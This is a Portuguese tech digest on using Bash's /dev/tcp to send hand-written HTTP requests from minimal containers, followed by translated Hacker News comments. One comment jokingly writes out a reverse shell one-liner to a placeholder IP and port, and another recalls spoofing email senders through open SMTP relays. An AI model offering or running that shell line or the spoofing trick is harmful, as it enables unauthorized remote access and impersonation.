1 pontos por GN⁺ 4 시간 전 | 1 comentários | Compartilhar no WhatsApp
  • Em imagens de contêiner mínimas, muitas vezes curl ou wget não estão presentes, então é útil ter uma alternativa para verificar a conectividade com serviços internos sem instalar pacotes
  • O redirecionamento /dev/tcp/host/port do Bash pode abrir um socket TCP, permitindo escrever manualmente uma string de requisição HTTP/1.1 e ler a resposta
  • /dev/tcp não é um caminho real no sistema de arquivos, mas um recurso interno do Bash, então ls /dev/tcp ou abordagens normais de acesso a arquivos em outros shells não funcionam
  • Esse método é uma técnica simples de depuração que não lida com redirecionamentos, respostas chunked, compressão, tentativas automáticas nem TLS, e sem Connection: close o cat pode ficar aguardando
  • Para tarefas HTTP do dia a dia, o ideal continua sendo o curl, mas em contêineres pequenos onde é difícil adicionar ferramentas, isso já basta para uma checagem rápida de conectividade

Escrevendo uma requisição HTTP com descritores de arquivo do Bash

  • Era preciso verificar se era possível acessar o endpoint /health de outro serviço em uma rede Docker interna, mas a imagem não tinha curl nem wget
  • O Bash consegue conectar um socket TCP a um descritor de arquivo, então é possível montar e enviar diretamente uma requisição HTTP assim
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
  • service precisa ser um nome de host que possa ser resolvido e alcançado a partir do local onde o comando está sendo executado
    • Pode ser o nome de um contêiner ou serviço configurado na rede Docker
    • Também pode ser um nome DNS resolvível
    • O host e a porta devem ser ajustados ao seu ambiente
  • A saída da resposta inclui a linha de status, os cabeçalhos, uma linha em branco e o corpo
  • Para adicionar cabeçalhos, basta incluir mais linhas terminadas em \r\n antes da linha em branco que encerra a requisição
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3

Por que /dev/tcp não é um arquivo real

  • /dev/tcp não é um arquivo de dispositivo real, mas um redirecionamento tratado pelo Bash
    • Como esse caminho não existe em disco, ls /dev/tcp falha
    • Executar cat /dev/tcp/... em outro shell também gera erro
  • Segundo o manual do Bash, em /dev/tcp/host/port, se host for um nome de host válido ou endereço de internet e port for um número inteiro de porta ou nome de serviço, o Bash tentará abrir um socket TCP
  • O Bash faz a consulta DNS e executa connect(2), e exec 3<> conecta o socket ao descritor de arquivo 3, permitindo leitura e escrita

Uma ferramenta temporária de inspeção, não um substituto para cliente HTTP

  • Essa abordagem não é um cliente HTTP de verdade, então não lida com redirecionamentos, respostas chunked, compressão, tentativas automáticas, TLS etc.
  • O cabeçalho Connection: close é importante
    • Sem ele, o servidor pode manter a conexão aberta conforme o padrão do HTTP/1.1
    • Nesse caso, cat <&3 pode nunca terminar, esperando por EOF
  • Você pode envolver o comando com algo como timeout 6 bash -c '...' para se proteger também contra casos em que a conexão não é fechada
  • Como /dev/tcp abre um socket bruto, isso vale apenas para HTTP em texto puro; para https, é preciso usar openssl s_client
  • Como não é um recurso POSIX e sim do Bash, não funciona no dash do /bin/sh do Debian nem no zsh; é preciso chamar bash diretamente
  • Trata-se de uma opção de compilação ativada em builds do Bash com --enable-net-redirections
  • Em resumo, em vez de ser uma ferramenta genérica para substituir o curl, isso é mais adequado para verificar rapidamente a conectividade em contêineres pequenos onde não é possível adicionar instalações

1 comentários

 
GN⁺ 4 시간 전
Comentários do Hacker News
  • No fim dos anos 90, quando era criança, fiquei chocado ao descobrir que dava para conectar com telnet nas portas 80, 25 e 110 e conversar diretamente com o servidor
    Era possível digitar manualmente uma requisição simples GET / HTTP/1.1, ou enviar e-mail pela porta 25 com HELO, mail-from, mail-to, e buscar a lista da caixa postal e mensagens individuais via POP3
    Essa experiência foi o começo da percepção de que “não existe mágica”, e de que todas as partes do computador foram feitas por pessoas e, com esforço, podem ser entendidas até certo nível
    No futuro, a maior parte provavelmente será delegada a agentes, mas para quem quiser aprender como as coisas realmente funcionam sem os filtros do modelo e das proteções, parece que ainda vão restar brechas interessantes em vários sistemas

    • Na época sem DKIM/SPF e com autenticação frouxa nos servidores SMTP, dava para enviar e-mail com um endereço como jacques.chirac@elysee.fr e parecer um hacker para os amigos
    • Naquele tempo, além de não existir DKIM nem SPF, a maioria dos servidores SMTP era um open relay, aceitando e-mails de qualquer um para qualquer destinatário
    • No fim das contas, é tudo apenas arquivo de texto
      Era uma estrutura com um monte de siglas por cima de várias formas de criar, enviar e ler arquivos de texto estruturados
      Um dia percebi que até banco de dados é arquivo de texto e precisei sentar por um momento
    • No século passado, no trabalho, eu lia e enviava e-mails pessoais conectando via telnet em POP3 e SMTP, respectivamente
    • Com HTTP/2 isso não funciona desse jeito, mas felizmente quase todos os servidores ainda falam HTTP/1
      TLS também não funciona com telnet, e muitos servidores só devolvem redirecionamento para requisições HTTP
      Se usar openssl s_client no lugar de telnet, dá para tunelar texto dentro de TLS, embora isso pareça um pouco gambiarra
      Também é uma pena que muitos protocolos modernos prefiram codificação binária, o que dificulta mexer neles no nível da linha sem ferramentas específicas
      Ainda assim, parece que no futuro sempre vai haver gente explorando esse tipo de coisa, e tecnologias antigas, como acender fogo com gravetos ou assar tijolos de barro, são divertidas e às vezes realmente úteis
      Pelo contrário, a IA até facilita experimentos, porque dá para perguntar a um LLM em vez de vasculhar RFCs e aprender, por exemplo, a maior parte dos comandos comuns de IMAP
  • O zsh tem, além do /dev/tcp do Bash, os módulos zsh/net/tcp e zsh/zftp
    https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
    https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
    https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....

  • O Plan 9 tinha de fato um sistema de arquivos sintético /net, então era possível fazer esse tipo de tarefa e mais em qualquer programa
    Também dava para montar o /net de outra máquina via protocolo 9P e usar como uma espécie de VPN improvisada, e dá para experimentar isso no Linux com o 9front
    Também dá para ver vestígios do /net ao estilo Plan 9 na biblioteca de Go, o que parece legado do Rob Pike

  • Funciona bem com example.com
    Abra com exec 3<>/dev/tcp/example.com/80, envie printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3 e depois faça cat <&3, e sairá HTTP/1.1 200 OK
    Hoje em dia há poucos domínios que não forçam HTTPS, então, para esse tipo de teste, no fim você acaba indo para example.com

    • Portais cativos de Wi‑Fi público também tornam example.com útil quando algo dá errado
      Se você abrir http://example.com no navegador, será redirecionado de volta para a página do portal cativo e poderá concluir de novo o processo de acesso à internet
    • Também funciona colocar quebras de linha reais dentro do printf
      O \r deveria estar lá, mas mesmo sem ele costuma funcionar
  • Dá para fazer a piada de que, para conversar com o computador de um amigo, todo mundo usa bash -i >& /dev/tcp/IP/PORT 0>&1

  • O Bash não está “falando HTTP”; ele apenas permite abrir sockets TCP
    O que se faz aqui é falar HTTP manualmente, o que serve para teste ou depuração e até é divertido de fazer na mão, mas usar esse falso cliente HTTP em ambiente real não assistido é pedir problema
    Esse código de brinquedo pode quebrar porque não faz o parsing de HTTP corretamente
    Claro, também dá para escrever um cliente HTTP/1.1 completo em Bash, e até fazer um servidor HTTP em Bash: https://github.com/bahamas10/bash-web-server
    Uma opção menos insana costuma ser nc, e na maioria das vezes ela é mais sensata

    • A expressão “servidor HTTP completo em Bash puro” é, mais precisamente, incorreta
      O Bash não consegue escutar sockets TCP/UDP para aceitar conexões de entrada
      O projeto bash-web-server compila um listener de sockets em C e o carrega dinamicamente em tempo de execução como um módulo “embutido” para fornecer essa funcionalidade
      [0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
    • A observação está correta, e como a formulação do texto foi exagerada, pretendo atualizá-la para algo mais preciso
      nc ou alguma ferramenta parecida da família netcat seria uma escolha melhor, mas a imagem que eu estava usando na época não tinha esse tipo de ferramenta
    • Não é tão insano assim
      Eu já digitava requisições HTTP manualmente desde antes do HTTP/1.1 e do cabeçalho obrigatório Host
      Usar isso para algo sério é insanidade, e implementar um servidor web em Bash também, mas para testes rápidos é até bem útil
    • Alguém também fez um servidor de Minecraft em Bash puro
      https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
    • Também existe um framework tipo Rails para Bash: https://github.com/jneen/balls
  • Aprendi isso vendo a equipe Bauhinia usar esse método para resolver um problema de CTF
    Era um CTF com várias etapas, e no começo você obtinha um shell system por meio de uma cadeia ROP, mas era praticamente um ambiente de prisão onde não dava para executar nada além de Bash
    O máximo que dava para usar era read e cat, então usamos cat /dev/tcp, redirecionamos isso para um terminal virtual, e lemos o conteúdo para obter uma URL de sistema interno e encontrar a flag

  • Descobri esse método ao verificar a conectividade entre contêineres em uma rede Docker interna, porque a imagem não tinha nem curl nem wget
    O que me surpreendeu foi o Bash ter /dev/tcp, permitindo montar algo parecido com uma requisição HTTP com um pouco de magia de shell
    Por exemplo, basta abrir com exec 3<>/dev/tcp/service/8642, enviar printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3 e depois fazer cat <&3
    Aqui, service é o nome do host de destino e 8642 é a porta com a qual você quer tentar falar HTTP

    • É legal, mas fico me perguntando se há alguma desvantagem em simplesmente usar uma imagem com suporte a curl
      Não consigo pensar em nenhuma desvantagem, e considero isso quase indispensável até em imagens de produção
  • Em versões antigas do Debian e de distribuições derivadas do Debian, esse recurso não funcionava, porque o acesso TCP por meio de arquivos virtuais vinha desativado por padrão
    Pelo que entendo, a posição mudou em 2009 e o recurso foi ativado, e há discussão e links no Bug #146464
    <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
    Além disso, há várias outras formas de acessar funções de rede diretamente a partir de ferramentas de shell, como curl, wget, os comandos HEAD e GET do Perl, netcat/nc, socat, telnet etc.

  • Lembro de, quando era adolescente, assustar outras pessoas enviando mensagens sinistras com echo para o /dev/ptty delas
    As mensagens que eu mandava apareciam magicamente no terminal aberto da outra pessoa
    Até hoje não sei por que, no laboratório de informática, usavam contas diferentes para cada cliente sem bloquear isso; talvez fosse apenas uma limitação do VAX na época